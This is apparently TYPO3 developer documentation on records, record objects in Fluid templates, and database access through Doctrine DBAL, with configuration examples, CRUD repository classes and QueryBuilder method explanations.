TYPO3 uses a modular structure where different types of data are managed as records, making it easy to organize and manipulate content.

Understanding records in TYPO3 is fundamental, as they are the building blocks for managing content and data within the system.

Common examples of records in TYPO3:

Page records
These represent pages in the page tree, which structure the website. They are stored in table pages.
Content records
Every content record consists of sub entities like text, images, videos, and so on. Content records can be placed on a page. They are stored in table tt_content. TYPO3 has some pre configured content elements like for example Header Only, Regular Text Element, Text & Images, and Images Only.
Backend user records
The user records consist of information about the users who have access to the TYPO3 backend. They are stored in table be_users. Users are organized in user groups which are stored in table be_groups.
System records
System records control the configuration and management of the TYPO3 system. Examples include file references, file mounts, or categories. For example, you can create a category and assign it to some content records in order to indicate that they belong together.
Extension-specific records
Extensions often define custom records to store specific data, such as products for a shop system or events for a calendar.

Technical structure of a record:

Each record is stored in a database table. Each row represents one record. Each column represents a field of the record or some kind of metadata.

A record typically includes a unique identifier in column uid, the id of the page record on which it is located in column pid, columns for various attributes (for example, title, content), and metadata like creation and modification timestamps, visibility, information on translation and workspace handling. A record can have relations to other records.

TCA (Table Configuration Array)

TYPO3 uses the TCA to define how records of a specific table are structured, how they are displayed in the backend, and how they interact with other parts of the system. See the TCA Reference for details.

Types and subtypes in records

In TYPO3, different types and subtypes of records are often stored in the same database table, even though not all types share the same columns. This approach allows for flexibility and efficiency in handling diverse content and data structures within a unified system.

TYPO3 uses a single-table inheritance strategy, where records of various types are distinguished by a specific field, often named type. For historical reasons the field is named CType for content elements and doktype for pages. The field that is used for the type is defined in TCA in ctrl > type. The types itself are stored in types.

This allows TYPO3 to store related records, such as different content types, in a shared table like tt_content while supporting custom fields for each record type.

For content elements in table tt_content there is a second level of subtypes in use where the field CType contains the value "list" and the field list-type contains the actual type. This second level of types exists for historic reasons. Read more about it in chapter Content Elements & Plugins.

Record objects

New in version 13.2

Record objects have been introduced as an experimental feature.

Record objects are instances of \TYPO3\CMS\Core\Domain\Record and contain an object-oriented representation of a database record.

A record object can be used to output a database record in Fluid when no Extbase domain model is available.

Read more in chapter Record objects.

Extbase domain models

TYPO3 extensions based on Extbase typically introduce a class inheriting from \TYPO3\CMS\Extbase\DomainObject\AbstractEntity to represent a record fully or partially within the domain of the extension. Multiple Extbase models can store their data in the same database table. Additionally, the same record can be represented in various ways by different Extbase models, depending on the specific requirements of each model.

See also chapter Extbase models.

Record objects

New in version 13.2

Record objects have been introduced as an experimental feature.

Record objects are instances of \TYPO3\CMS\Core\Domain\Record .

They are an advanced data object holding the data of a database row, taking the TCA definition and possible relations of that database row into account.

Provide Records in TypoScript

In TypoScript you can use the RecordTransformationProcessor, usually in combination with the DatabaseQueryProcessor to pass record objects to the Fluid templating engine.

Provide records in PHP

In PHP a record object can be created by the \TYPO3\CMS\Core\Domain\RecordFactory .

The event RecordCreationEvent can be used to influence or replace the Record object and its properties during creation.

Use records in Fluid

In frontend templates the record object is provided by TypoScript or passed to Fluid by a PHP class.

Content element preview templates automatically receive a record object representing the record of the content element that should currently be displayed.

The Debug ViewHelper <f:debug> output of the Record object is misleading for integrators, as most properties are accessed differently as one would assume.

We are dealing with an object here. You however can access your record properties as you are used to with {record.title} or {record.uid}. In addition, you gain special, context-aware properties like the language {record.languageId} or workspace {data.versionInfo.workspaceId}.

Overview of all possibilities:

Demonstration of available variables in Fluid
<!-- Any property, which is available in the Record (like normal) -->
{record.title}
{record.uid}
{record.pid}

<!-- Language related properties -->
{record.languageId}
{record.languageInfo.translationParent}
{record.languageInfo.translationSource}

<!-- The overlaid uid -->
{record.overlaidUid}

<!-- Types are a combination of the table name and the Content Type name. -->
<!-- Example for table "tt_content" and CType "textpic": -->

<!-- "tt_content" (this is basically the table name) -->
{record.mainType}

<!-- "textpic" (this is the CType) -->
{record.recordType}

<!-- "tt_content.textpic" (Combination of mainType and record type, separated by a dot) -->
{record.fullType}

<!-- System related properties -->
{record.systemProperties.isDeleted}
{record.systemProperties.isDisabled}
{record.systemProperties.isLockedForEditing}
{record.systemProperties.createdAt}
{record.systemProperties.lastUpdatedAt}
{record.systemProperties.publishAt}
{record.systemProperties.publishUntil}
{record.systemProperties.userGroupRestriction}
{record.systemProperties.sorting}
{record.systemProperties.description}

<!-- Computed properties depending on the request context -->
{record.computedProperties.versionedUid}
{record.computedProperties.localizedUid}
{record.computedProperties.requestedOverlayLanguageId}
{record.computedProperties.translationSource} <!-- Only for pages, contains the Page model -->

<!-- Workspace related properties -->
{record.versionInfo.workspaceId}
{record.versionInfo.liveId}
{record.versionInfo.state.name}
{record.versionInfo.state.value}
{record.versionInfo.stageId}
Copied!

Using the raw record

The RecordFactory object contains only the properties, relevant for the current record type, for example CType. In case you need to access properties, which are not defined for the record type, the "raw" record can be used by accessing it via {record.rawRecord}. Those properties are not transformed.

Database (Doctrine DBAL)

This chapter describes accessing the database on the level of the Doctrine Database Abstraction Layer (DBAL).

The Doctrine Database Abstraction Layer (DBAL) in TYPO3 provides developers with a powerful and flexible way to interact a database, allowing them to perform database operations through an object-oriented API while ensuring compatibility across different database systems.

In the TYPO3 backend rows of database tables are usually represented as Database records and configured in TCA (Table Configuration Array).

In Extbase extensions tables are abstracted as Extbase models. Operations such as creating, updating and deleting database records are usually performed from within a Extbase repository with methods provided by Extbase classes. However, Doctrine DBAL can also be used by extensions that use, for example, an Extbase controller.

Introduction

TYPO3 relies on storing its data in a relational database management system (RDBMS). The Doctrine DBAL component is used to enable connecting to different database management systems. Most used is still MySQL / MariaDB, but thanks to Doctrine others like PostgreSQL and SQLite are also an option.

The corresponding DBMS can be selected during installation.

This chapter gives an overview of the basic TYPO3 database table structure, followed by some information on upgrading and maintaining table and field consistency, and then deep dives into the programming API.

Doctrine DBAL

Database queries in TYPO3 are done with an API based on Doctrine DBAL. The API is provided by the system extension core, which is always loaded and thus always available.

Extension authors can use this low-level API to manage query operations directly on the configured DBMS.

Doctrine DBAL is rich in features. Drivers for various target systems enable TYPO3 to run on a long list of ANSI SQL-compatible DBMSes. If used properly, queries created with this API are translated to the specific database engine by Doctrine without an extension developer taking care of that specifically.

The API provided by the Core is basically a pretty small and lightweight facade in front of Doctrine DBAL that adds some convenient methods as well as some TYPO3-specific sugar. The facade additionally provides methods to retrieve specific connection objects per configured database connection based on the table that is queried. This enables instance administrators to configure different database engines for different tables, while being transparent to extension developers.

This document does not outline every single method that the API provides. It sticks to those that are commonly used in extensions, and some parts like the rewritten schema migrator are omitted as they are usually of little to no interest to extensions.

Understanding Doctrine DBAL and Doctrine ORM

Doctrine is a two-part project, with Doctrine DBAL being the low-level database abstraction and the interface for building queries to specific database engines, while Doctrine ORM is a high-level object relational mapping on top of Doctrine DBAL.

The TYPO3 Core implements - only - the DBAL part. Doctrine ORM is neither required nor implemented nor used.

Low-level and high-level database calls

This documentation focuses on low-level database calls. In many cases, it is better to use higher level APIs such as the DataHandler or Extbase repositories and to let the framework handle persistence details internally.

Configuration

The configuration of Doctrine DBAL for TYPO3 is about specifying the single database endpoints and passing the connection credentials. The framework supports the parallel usage of multiple database connections, a specific connection is mapped depending on its table name. The table space can be seen as a transparent layer that determines which specific connection is chosen for a query to a single or a group of tables: It allows "swapping out" single tables from the Default connection to point them to a different database endpoint.

As with other central configuration options, the database endpoint and mapping configuration is done in config/system/settings.php and ends up in $GLOBALS['TYPO3_CONF_VARS'] after the Core bootstrap. The specific sub-array is $GLOBALS['TYPO3_CONF_VARS']['DB'] .

Example: one connection

A typical basic example using only the Default connection with a single database endpoint:

config/system/settings.php
// [...]
'DB' => [
    'Connections' => [
        'Default' => [
            'charset' => 'utf8',
            'dbname' => 'theDatabaseName',
            'driver' => 'mysqli',
            'host' => 'theHost',
            'password' => 'theConnectionPassword',
            'port' => 3306,
            'user' => 'theUser',
        ],
    ],
],
// [...]
Copied!

Remarks:

  • The Default connection must be configured, this can not be left out or renamed.
  • For the mysqli driver: If the host is set to localhost and if the default PHP options in this area are not changed, the connection will be socket-based. This saves a little overhead. To force a TCP/IP-based connection even for localhost, the IPv4 address 127.0.0.1 or IPv6 address ::1/128 respectively must be used as host value.
  • The connection options are passed to Doctrine DBAL without much manipulation from TYPO3 side. Please refer to the doctrine connection docs for a full overview of the settings.
  • If the charset option is not specified, it defaults to utf8.
  • The option wrapperClass is used by TYPO3 to insert the extended Connection class \TYPO3\CMS\Core\Database\Connection as main facade around Doctrine DBAL.

Example: two connections

Another example with two connections, where the be_sessions table is mapped to a different endpoint:

config/system/settings.php
// [...]
'DB' => [
    'Connections' => [
        'Default' => [
            'charset' => 'utf8',
            'dbname' => 'default_dbname',
            'driver' => 'mysqli',
            'host' => 'default_host',
            'password' => '***',
            'port' => 3306,
            'user' => 'default_user',
        ],
        'Sessions' => [
            'charset' => 'utf8mb4',
            'driver' => 'mysqli',
            'dbname' => 'sessions_dbname',
            'host' => 'sessions_host',
            'password' => '***',
            'port' => 3306,
            'user' => 'some_user',
        ],
    ],
    'TableMapping' => [
        'be_sessions' => 'Sessions',
    ]
],
// [...]
Copied!

Remarks:

  • The array key Sessions is just a name. It can be different, but it is good practice to give it a useful, descriptive name.
  • It is possible to map multiple tables to a different endpoint by adding further table name / connection name pairs to TableMapping.

Basic create, read, update, and delete operations (CRUD)

This section provides a list of basic usage examples of the query API. This is just a starting point. Details about the single methods can be found in the following chapters, especially QueryBuilder and Connection.

All examples use dependency injection to provide the ConnectionPool in the classes.

Insert a row

A direct insert into a table:

EXT:my_extension/Classes/Domain/Repository/MyInsertRepository.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Domain\Repository;

use TYPO3\CMS\Core\Database\ConnectionPool;

final class MyInsertRepository
{
    public function __construct(
        private readonly ConnectionPool $connectionPool,
    ) {}

    public function insertSomeData(): void
    {
        $this->connectionPool
            ->getConnectionForTable('tt_content')
            ->insert(
                'tt_content',
                [
                    'pid' => 42,
                    'bodytext' => 'ipsum',
                ],
            );
    }
}
Copied!

This results in the following SQL statement:

INSERT INTO `tt_content` (`pid`, `bodytext`)
    VALUES ('42', 'ipsum')
Copied!

Select a single row

Fetching a single row directly from the tt_content table:

EXT:my_extension/Classes/Domain/Repository/MySelectRepository.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Domain\Repository;

use TYPO3\CMS\Core\Database\ConnectionPool;

final class MySelectRepository
{
    public function __construct(
        private readonly ConnectionPool $connectionPool,
    ) {}

    /**
     * @return array|false
     */
    public function selectSomeData()
    {
        $uid = 4;

        return $this->connectionPool
            ->getConnectionForTable('tt_content')
            ->select(
                ['uid', 'pid', 'bodytext'], // fields to select
                'tt_content',               // from
                ['uid' => $uid],            // where
            )
            ->fetchAssociative();
    }
}
Copied!

Result in $row:

array(3 items)
   uid => 4 (integer)
   pid => 35 (integer)
   bodytext => 'some content' (12 chars)
Copied!

The engine encloses field names in quotes, adds default TCA restrictions such as deleted=0, and prepares a query to be executed with this final statement:

SELECT `uid`, `pid`, `bodytext`
    FROM `tt_content`
    WHERE (`uid` = '4')
        AND ((`tt_content`.`deleted` = 0)
        AND (`tt_content`.`hidden` = 0)
        AND (`tt_content`.`starttime` <= 1669838885)
        AND ((`tt_content`.`endtime` = 0) OR (`tt_content`.`endtime` > 1669838885)))
Copied!

Select multiple rows with some "where" magic

Advanced query using the QueryBuilder and manipulating the default restrictions:

EXT:my_extension/Classes/Domain/Repository/MyQueryBuilderSelectRepository.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Domain\Repository;

use TYPO3\CMS\Core\Database\Connection;
use TYPO3\CMS\Core\Database\ConnectionPool;
use TYPO3\CMS\Core\Database\Query\Restriction\DeletedRestriction;
use TYPO3\CMS\Core\Utility\GeneralUtility;

final class MyQueryBuilderSelectRepository
{
    public function __construct(
        private readonly ConnectionPool $connectionPool,
    ) {}

    public function selectSomeData(): array
    {
        $uid = 4;

        $queryBuilder = $this->connectionPool
            ->getQueryBuilderForTable('tt_content');

        // Remove all default restrictions (delete, hidden, starttime, stoptime),
        // but add DeletedRestriction again
        $queryBuilder->getRestrictions()
            ->removeAll()
            ->add(GeneralUtility::makeInstance(DeletedRestriction::class));

        // Execute a query with "bodytext=lorem OR uid=4" and proper quoting
        return $queryBuilder
            ->select('uid', 'pid', 'bodytext')
            ->from('tt_content')
            ->where(
                $queryBuilder->expr()->or(
                    $queryBuilder->expr()->eq(
                        'bodytext',
                        $queryBuilder->createNamedParameter('lorem'),
                    ),
                    $queryBuilder->expr()->eq(
                        'uid',
                        $queryBuilder->createNamedParameter($uid, Connection::PARAM_INT),
                    ),
                ),
            )
            ->executeQuery()
            ->fetchAllAssociative();
    }
}
Copied!

Result in $rows:

array(2 items)
    0 => array(3 items)
        uid => 4 (integer)
        pid => 35 (integer)
        bodytext => 'ipsum' (5 chars)
    1 => array(3 items)
        uid => 366 (integer)
        pid => 13 (integer)
        bodytext => 'lorem' (5 chars)
Copied!

The executed query looks like this:

SELECT `uid`, `pid`, `bodytext`
    FROM `tt_content`
    WHERE ((`bodytext` = 'lorem') OR (`uid` = 4))
        AND (`tt_content`.`deleted` = 0)
Copied!

Update multiple rows

EXT:my_extension/Classes/Domain/Repository/MyUpdateRepository.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Domain\Repository;

use TYPO3\CMS\Core\Database\ConnectionPool;

final class MyUpdateRepository
{
    public function __construct(
        private readonly ConnectionPool $connectionPool,
    ) {}

    public function updateSomeData()
    {
        $this->connectionPool->getConnectionForTable('tt_content')
            ->update(
                'tt_content',
                [ 'bodytext' => 'ipsum' ], // set
                [ 'bodytext' => 'lorem' ], // where
            );
    }
}
Copied!

The executed query looks like this:

UPDATE `tt_content` SET `bodytext` = 'ipsum'
    WHERE `bodytext` = 'lorem'
Copied!

Delete a row

EXT:my_extension/Classes/Domain/Repository/MyDeleteRepository.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Domain\Repository;

use TYPO3\CMS\Core\Database\ConnectionPool;

final class MyDeleteRepository
{
    public function __construct(
        private readonly ConnectionPool $connectionPool,
    ) {}

    public function deleteSomeData()
    {
        $this->connectionPool->getConnectionForTable('tt_content')
            ->delete(
                'tt_content', // from
                ['uid' => 4711],  // where
            );
    }
}
Copied!

The executed query looks like this:

DELETE FROM `tt_content`
    WHERE `uid` = '4711'
Copied!

Class overview

Doctrine DBAL provides a set of PHP objects to represent, create and handle SQL queries and their results. The basic class structure has been slightly enriched by TYPO3 to add CMS-specific features. Extension authors will usually interact with these classes and objects:

\TYPO3\CMS\Core\Database\Connection
This object represents a specific connection to one connected database. It provides "shortcut" methods for simple standard queries like SELECT or UPDATE. To create more complex queries, an instance of the QueryBuilder can be retrieved.
\TYPO3\CMS\Core\Database\ConnectionPool
The ConnectionPool is the main entry point for extensions to retrieve a specific connection over which to execute a query. Usually it is used to return a Connection or a QueryBuilder object.
\TYPO3\CMS\Core\Database\Query\Expression\ExpressionBuilder
The ExpressionBuilder object is used to model complex expressions. It is mainly used for WHERE and JOIN conditions.
\TYPO3\CMS\Core\Database\Query\QueryBuilder
With the help of the QueryBuilder one can create all sort of complex queries executed on a specific connection. It provides the main CRUD methods for select(), delete() and friends.
TYPO3\CMS\Core\Database\Query\Restriction\...
Restrictions are a set of classes that add expressions like deleted=0 to a query, based on the TCA settings of a table. They automatically adds TYPO3-specific restrictions like start time and end time, as well as deleted and hidden flags. Further restrictions for language overlays and workspaces are available. In this documentation, these classes are referred as RestrictionBuilder.
\Doctrine\DBAL\Driver\Statement
This result object is returned when a SELECT or COUNT query was executed. Single rows are returned as an array by calling ->fetchAssociative() until the method returns false.

ConnectionPool

TYPO3's interface for executing queries via Doctrine DBAL starts with a request to the ConnectionPool for a QueryBuilder or a Connection object and passing the table name to be queried:

EXT:my_extension/Classes/Domain/Repository/MyTableRepository.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Domain\Repository;

use TYPO3\CMS\Core\Database\ConnectionPool;

final class MyTableRepository
{
    private const TABLE_NAME = 'tx_myextension_domain_model_mytable';

    public function __construct(
        private readonly ConnectionPool $connectionPool,
    ) {}

    public function findSomething()
    {
        // Get a query builder for a table
        $queryBuilder = $this->connectionPool
            ->getQueryBuilderForTable(self::TABLE_NAME);

        // Or get a connection for a table
        $connection = $this->connectionPool
            ->getConnectionForTable(self::TABLE_NAME);
    }
}
Copied!

The QueryBuilder is the default object used by extension authors to express complex queries, while a Connection instance can be used as a shortcut to handle some simple query cases.

Pooling: multiple connections to different database endpoints

TYPO3 can handle multiple connections to different database endpoints at the same time. This can be configured for each individual table in $GLOBALS['TYPO3_CONF_VARS'] (see database configuration for details). This makes it possible to run tables on different databases without an extension developer having to worry about it.

The ConnectionPool implements this feature: It looks for configured table-to-database mapping and can return a Connection or a QueryBuilder instance for that specific connection. These objects know internally which target connection they are dealing with and will quote field names accordingly, for instance.

Beware

However, the transparency of tables for different database endpoints is limited.

Executing a table JOIN between two tables that reference different connections will result in an exception. This restriction may in practice lead to implicit "groups" of tables that must to point to a single connection when an extension or the TYPO3 Core joins these tables.

This can be problematic when several different extensions use, for instance, the Core category or collection API with their mm table joins between Core internal tables and their extension counterparts.

That situation is not easy to deal with. At the time of writing the Core development will implement eventually some non-join fallbacks for typical cases that would be good to decouple, though.

Query builder

The query builder provides a set of methods to create queries programmatically.

This chapter provides examples of the most common queries.

The query builder comes with a happy little list of small methods:

  • Set type of query: ->select(), ->count(), ->update(), ->insert() and ->delete()
  • Prepare WHERE conditions
  • Manipulate default WHERE restrictions added by TYPO3 for ->select()
  • Add LIMIT, GROUP BY and other SQL functions
  • executeQuery() executes a SELECT query and returns a result, a \Doctrine\DBAL\Result object
  • executeStatement() executes an INSERT, UPDATE or DELETE statement and returns the number of affected rows.

Most of the query builder methods provide a fluent interface, return an instance of the current query builder itself, and can be chained:

$queryBuilder
    ->select('uid')
    ->from('pages');
Copied!

Instantiation

To create an instance of the query builder, call ConnectionPool::getQueryBuilderForTable() and pass the table as an argument. The ConnectionPool object can be injected via dependency injection.

EXT:my_extension/Classes/Domain/Repository/MyRepository.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Domain\Repository;

use TYPO3\CMS\Core\Database\ConnectionPool;

final class MyRepository
{
    public function __construct(
        private readonly ConnectionPool $connectionPool,
    ) {}

    public function findSomething()
    {
        $queryBuilder = $this->connectionPool
            ->getQueryBuilderForTable('aTable');
    }
}
Copied!

select() and addSelect()

Create a SELECT query.

Select all fields:

EXT:my_extension/Classes/Domain/Repository/MyRepository.php
// SELECT *
$queryBuilder->select('*')
Copied!

->select() and a number of other methods of the query builder are variadic and can handle any number of arguments. In ->select() each argument is interpreted as a single field name to be selected:

EXT:my_extension/Classes/Domain/Repository/MyRepository.php
// SELECT `uid`, `pid`, `aField`
$queryBuilder->select('uid', 'pid', 'aField');
Copied!

Argument unpacking can be used if the list of fields already is available as array:

EXT:my_extension/Classes/Domain/Repository/MyRepository.php
// SELECT `uid`, `pid`, `aField`, `anotherField`
$fields = ['uid', 'pid', 'aField', 'anotherField'];
$queryBuilder->select(...$fields);
Copied!

->select() automatically supports AS and quotes identifiers. This can be especially useful for join() operations:

EXT:my_extension/Classes/Domain/Repository/MyRepository.php
// SELECT `tt_content`.`bodytext` AS `t1`.`text`
$queryBuilder->select('tt_content.bodytext AS t1.text')
Copied!

With ->select() the list of fields to be selected is specified, and with ->addSelect() further elements can be added to an existing list.

Mind that ->select() replaces any formerly registered list instead of appending it. Thus, it is not very useful to call select() twice in a code flow or after an ->addSelect(). The methods ->where() and ->andWhere() share the same behavior: ->where() replaces all formerly registered constraints, ->andWhere() appends additional constraints.

A useful combination of ->select() and ->addSelect() can be:

EXT:my_extension/Classes/Domain/Repository/MyRepository.php
$queryBuilder->select(...$defaultList);
if ($needAdditionalFields) {
    $queryBuilder->addSelect(...$additionalFields);
}
Copied!

Calling the executeQuery() function on a ->select() query returns a result object of type \Doctrine\DBAL\Result. To receive single rows, a ->fetchAssociative() loop is used on that object, or ->fetchAllAssociative() to return a single array with all rows. A typical code flow of a SELECT query looks like this:

EXT:my_extension/Classes/Domain/Repository/MyRepository.php
// use TYPO3\CMS\Core\Database\Connection;

$queryBuilder = $this->connectionPool->getQueryBuilderForTable('tt_content');
$result = $queryBuilder
    ->select('uid', 'header', 'bodytext')
    ->from('tt_content')
    ->where(
        $queryBuilder->expr()->eq('bodytext', $queryBuilder->createNamedParameter('lorem', Connection::PARAM_STR))
    )
    ->executeQuery();

while ($row = $result->fetchAssociative()) {
    // Do something with that single row
    debug($row);
}
Copied!

Read how to correctly instantiate a query builder with the connection pool. See available parameter types.

Default Restrictions

count()

Create a COUNT query, a typical usage:

EXT:my_extension/Classes/Domain/Repository/MyRepository.php
// use TYPO3\CMS\Core\Database\Connection;

// SELECT COUNT(`uid`) FROM `tt_content` WHERE (`bodytext` = 'lorem')
//     AND ((`tt_content`.`deleted` = 0) AND (`tt_content`.`hidden` = 0)
//     AND (`tt_content`.`starttime` <= 1669885410)
//     AND ((`tt_content`.`endtime` = 0) OR (`tt_content`.`endtime` > 1669885410)))
$queryBuilder = $this->connectionPool->getQueryBuilderForTable('tt_content');
$count = $queryBuilder
    ->count('uid')
    ->from('tt_content')
    ->where(
        $queryBuilder->expr()->eq('bodytext', $queryBuilder->createNamedParameter('lorem', Connection::PARAM_STR))
    )
    ->executeQuery()
    ->fetchOne();
Copied!

Read how to correctly instantiate a query builder with the connection pool. See available parameter types.

Remarks:

  • Similar to the ->select() query type, ->count() automatically triggers the magic of the RestrictionBuilder that adds default restrictions such as deleted, hidden, starttime and endtime when defined in TCA.
  • Similar to ->select() query types, ->executeQuery() with ->count() returns a result object of type \Doctrine\DBAL\Result. To fetch the number of rows directly, use ->fetchOne().
  • The first argument to ->count() is required, typically ->count(*) or ->count('uid') is used, the field name is automatically quoted.
  • There is no support for DISTINCT, instead a ->groupBy() has to be used, for example:

    // Equivalent to:
    // SELECT DISTINCT some_field, another_field FROM my_table
    
    $queryBuilder
        ->select('some_field', 'another_field')
        ->from('my_table')
        ->groupBy('some_field')
        ->addGroupBy('another_field');
    Copied!
  • If ->count() is combined with ->groupBy(), the result may return multiple rows. The order of those rows depends on the used DBMS. Therefore, to ensure the same order of result rows on multiple different databases, a ->groupBy() should always be combined with an ->orderBy().

delete()

Create a DELETE FROM query. The method requires the table name from which data is to be deleted. Classic usage:

EXT:my_extension/Classes/Domain/Repository/MyRepository.php
// use TYPO3\CMS\Core\Database\Connection;

// DELETE FROM `tt_content` WHERE `bodytext` = 'lorem'
$queryBuilder = $this->connectionPool->getQueryBuilderForTable('tt_content');
$affectedRows = $queryBuilder
    ->delete('tt_content')
    ->where(
        $queryBuilder->expr()->eq('bodytext', $queryBuilder->createNamedParameter('lorem', Connection::PARAM_STR))
    )
    ->executeStatement();
Copied!

Read how to correctly instantiate a query builder with the connection pool. See available parameter types.

Remarks:

  • For simple cases it is often easier to write and read using the ->delete() method of the Connection object.
  • In contrast to ->select(), ->delete() does not automatically add WHERE restrictions like AND `deleted` = 0.
  • ->delete() does not magically transform a DELETE FROM `tt_content` WHERE `uid` = 4711 into something like UPDATE `tt_content` SET `deleted` = 1 WHERE `uid` = 4711 internally. A soft-delete must be handled at application level with a dedicated lookup in $GLOBALS['TCA']['theTable']['ctrl']['delete'] to check if a specific table can handle the soft-delete, together with an ->update() instead.
  • Deleting from multiple tables at once is not supported: DELETE FROM `table1`, `table2` can not be created.
  • ->delete() ignores ->join()
  • ->delete() ignores setMaxResults(): DELETE with LIMIT does not work.

update() and set()

Create an UPDATE query. Typical usage:

EXT:my_extension/Classes/Domain/Repository/MyRepository.php
// use TYPO3\CMS\Core\Database\Connection;

// UPDATE `tt_content` SET `bodytext` = 'dolor' WHERE `bodytext` = 'lorem'
$queryBuilder = $this->connectionPool->getQueryBuilderForTable('tt_content');
$queryBuilder
    ->update('tt_content')
    ->where(
        $queryBuilder->expr()->eq('bodytext', $queryBuilder->createNamedParameter('lorem', Connection::PARAM_STR))
    )
    ->set('bodytext', 'dolor')
    ->executeStatement();
Copied!

Read how to correctly instantiate a query builder with the connection pool. See available parameter types.

->update() requires the table to update as the first argument and a table alias (for example, t) as optional second argument. The table alias can then be used in ->set() and ->where() expressions:

EXT:my_extension/Classes/Domain/Repository/MyRepository.php
// use TYPO3\CMS\Core\Database\Connection;

// UPDATE `tt_content` `t` SET `t`.`bodytext` = 'dolor' WHERE `t`.`bodytext` = 'lorem'
$queryBuilder = $this->connectionPool->getQueryBuilderForTable('tt_content');
$queryBuilder
    ->update('tt_content', 't')
    ->where(
        $queryBuilder->expr()->eq('t.bodytext', $queryBuilder->createNamedParameter('lorem', Connection::PARAM_STR))
    )
    ->set('t.bodytext', 'dolor')
    ->executeStatement();
Copied!

Read how to correctly instantiate a query builder with the connection pool. See available parameter types.

->set() requires a field name as the first argument and automatically quotes it internally. The second mandatory argument is the value to set a field to. The value is automatically transformed to a named parameter of a prepared statement. This way, ->set() key/value pairs are automatically SQL protected from injection by default.

If a field should be set to the value of another field from the row, quoting must be turned off and ->quoteIdentifier() and false have to be used:

EXT:my_extension/Classes/Domain/Repository/MyRepository.php
// use TYPO3\CMS\Core\Database\Connection;

// UPDATE `tt_content` SET `bodytext` = `header` WHERE `bodytext` = 'lorem'
$queryBuilder = $this->connectionPool->getQueryBuilderForTable('tt_content');
$queryBuilder
    ->update('tt_content')
    ->where(
        $queryBuilder->expr()->eq('bodytext', $queryBuilder->createNamedParameter('lorem', Connection::PARAM_STR))
    )
    ->set('bodytext', $queryBuilder->quoteIdentifier('header'), false)
    ->executeStatement();
Copied!

Read how to correctly instantiate a query builder with the connection pool. See available parameter types.

Remarks:

  • For simple cases it is often easier to use the ->update() method of the Connection object.
  • ->set() can be called multiple times if multiple fields should be updated.
  • ->set() requires a field name as the first argument and automatically quotes it internally.
  • ->set() requires the value to which a field is to be set as the second parameter.
  • ->update() ignores ->join() and ->setMaxResults().
  • The API does not magically add deleted = 0 or other restrictions, as is currently the case with select, for example. (See also RestrictionBuilder).

insert() and values()

Create an INSERT query. Typical usage:

EXT:my_extension/Classes/Domain/Repository/MyRepository.php
// INSERT INTO `tt_content` (`bodytext`, `header`) VALUES ('lorem', 'dolor')
$queryBuilder = $this->connectionPool->getQueryBuilderForTable('tt_content');
$affectedRows = $queryBuilder
    ->insert('tt_content')
    ->values([
        'bodytext' => 'lorem',
        'header' => 'dolor',
    ])
    ->executeStatement();
Copied!

Read how to correctly instantiate a query builder with the connection pool.

Remarks:

  • The uid of the created database row can be fetched from the connection by using $queryBuilder->getConnection()->lastInsertId().
  • ->values() expects an array of key/value pairs. Both keys (field names / identifiers) and values are automatically quoted. In rare cases, quoting of values can be turned off by setting the second argument to false. Then quoting must be done manually, typically by using ->createNamedParameter() on the values.
  • ->executeStatement() after ->insert() returns the number of inserted rows, which is typically 1.
  • An alternative to using the query builder for inserting data is using the Connection object with its ->insert() method.
  • The query builder does not provide a method for inserting multiple rows at once, use ->bulkInsert() of the Connection object instead to achieve that.

from()

->from() is essential for ->select() and ->count() query types. ->from() requires a table name and an optional alias name. The method is usually called once per query creation and the table name is usually the same as the one passed to ->getQueryBuilderForTable(). If the query joins multiple tables, the argument should be the name of the first table within the ->join() chain:

EXT:my_extension/Classes/Domain/Repository/MyRepository.php
// FROM `myTable`
$queryBuilder->from('myTable');

// FROM `myTable` AS `anAlias`
$queryBuilder->from('myTable', 'anAlias');
Copied!

->from() can be called multiple times and will create the Cartesian product of tables if not constrained by a respective ->where() or ->andWhere() expression. In general, it is a good idea to use ->from() only once per query and instead model the selection of multiple tables with an explicit ->join().

where(), andWhere() and orWhere()

The three methods are used to create WHERE restrictions for SELECT, COUNT, UPDATE and DELETE query types. Each argument is usually an ExpressionBuilder object that is converted to a string on ->executeQuery() or ->executeStatement():

EXT:my_extension/Classes/Domain/Repository/MyRepository.php
// use TYPO3\CMS\Core\Database\Connection;
// SELECT `uid`, `header`, `bodytext`
// FROM `tt_content`
// WHERE
//    (
//       ((`bodytext` = 'lorem') AND (`header` = 'a name'))
//       OR (`bodytext` = 'dolor') OR (`bodytext` = 'hans')
//    )
//    AND (`pid` = 42)
//    AND ... RestrictionBuilder TCA restrictions ...
$queryBuilder = $this->connectionPool->getQueryBuilderForTable('tt_content');
$result = $queryBuilder
    ->select('uid', 'header', 'bodytext')
    ->from('tt_content')
    ->where(
        $queryBuilder->expr()->eq('bodytext', $queryBuilder->createNamedParameter('lorem', Connection::PARAM_STR)),
        $queryBuilder->expr()->eq('header', $queryBuilder->createNamedParameter('a name', Connection::PARAM_STR))
    )
    ->orWhere(
        $queryBuilder->expr()->eq('bodytext', $queryBuilder->createNamedParameter('dolor')),
        $queryBuilder->expr()->eq('bodytext', $queryBuilder->createNamedParameter('hans'))
    )
    ->andWhere(
        $queryBuilder->expr()->eq('pid', $queryBuilder->createNamedParameter(42, Connection::PARAM_INT))
    )
    ->executeQuery();
Copied!

Read how to correctly instantiate a query builder with the connection pool. See available parameter types.

Note the parenthesis of the above example: ->andWhere() encapsulates both ->where() and ->orWhere() with an additional restriction.

Argument unpacking can become handy with these methods:

EXT:my_extension/Classes/Domain/Repository/MyRepository.php
// use TYPO3\CMS\Core\Database\Connection;

$whereExpressions = [
    $queryBuilder->expr()->eq('bodytext', $queryBuilder->createNamedParameter('lorem', Connection::PARAM_STR)),
    $queryBuilder->expr()->eq('header', $queryBuilder->createNamedParameter('a name', Connection::PARAM_STR))
];
if ($needsAdditionalExpression) {
    $whereExpressions[] = $someAdditionalExpression;
}
$queryBuilder->where(...$whereExpressions);
Copied!

See available parameter types.

Remarks:

  • The three methods are variadic. They can handle any number of arguments. For instance, if ->where() receives four arguments, they are handled as single expressions, all combined with AND.
  • createNamedParameter is used to create a placeholder for a field value of a prepared statement. Always use this when dealing with user input in expressions to protect the statement from SQL injections.
